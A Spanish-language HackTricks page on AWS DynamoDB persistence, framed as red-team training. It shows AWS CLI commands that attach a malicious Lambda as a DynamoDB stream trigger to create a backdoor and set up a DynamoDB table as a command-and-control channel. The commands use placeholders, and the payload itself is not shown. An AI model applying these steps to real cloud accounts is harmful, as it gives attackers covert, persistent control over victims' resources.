AWS - DynamoDB Persistence

Aprende hacking en AWS desde cero hasta experto con htARTE (Experto en Equipos Rojos de HackTricks en AWS)!

Otras formas de apoyar a HackTricks:

DynamoDB

Para más información accede a:

pageAWS - DynamoDB Enum

Disparadores de DynamoDB con Puerta Trasera de Lambda

Utilizando disparadores de DynamoDB, un atacante puede crear una puerta trasera sigilosa asociando una función Lambda maliciosa con una tabla. La función Lambda puede ser activada cuando se añade, modifica o elimina un elemento, permitiendo al atacante ejecutar código arbitrario dentro de la cuenta de AWS.

# Create a malicious Lambda function
aws lambda create-function \
--function-name MaliciousFunction \
--runtime nodejs14.x \
--role <LAMBDA_ROLE_ARN> \
--handler index.handler \
--zip-file fileb://malicious_function.zip \
--region <region>

# Associate the Lambda function with the DynamoDB table as a trigger
aws dynamodbstreams describe-stream \
--table-name TargetTable \
--region <region>

# Note the "StreamArn" from the output
aws lambda create-event-source-mapping \
--function-name MaliciousFunction \
--event-source <STREAM_ARN> \
--region <region>

Para mantener la persistencia, el atacante puede crear o modificar elementos en la tabla DynamoDB, lo que activará la función Lambda maliciosa. Esto permite al atacante ejecutar código dentro de la cuenta de AWS sin interacción directa con la función Lambda.

DynamoDB como Canal C2

Un atacante puede utilizar una tabla DynamoDB como un canal de comando y control (C2) creando elementos que contienen comandos y utilizando instancias comprometidas o funciones Lambda para recuperar y ejecutar estos comandos.

# Create a DynamoDB table for C2
aws dynamodb create-table \
--table-name C2Table \
--attribute-definitions AttributeName=CommandId,AttributeType=S \
--key-schema AttributeName=CommandId,KeyType=HASH \
--provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \
--region <region>

# Insert a command into the table
aws dynamodb put-item \
--table-name C2Table \
--item '{"CommandId": {"S": "cmd1"}, "Command": {"S": "malicious_command"}}' \
--region <region>

Las instancias comprometidas o las funciones Lambda pueden verificar periódicamente la tabla C2 en busca de nuevos comandos, ejecutarlos y opcionalmente informar los resultados de vuelta a la tabla. Esto permite al atacante mantener la persistencia y el control sobre los recursos comprometidos.

Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks:

Última actualización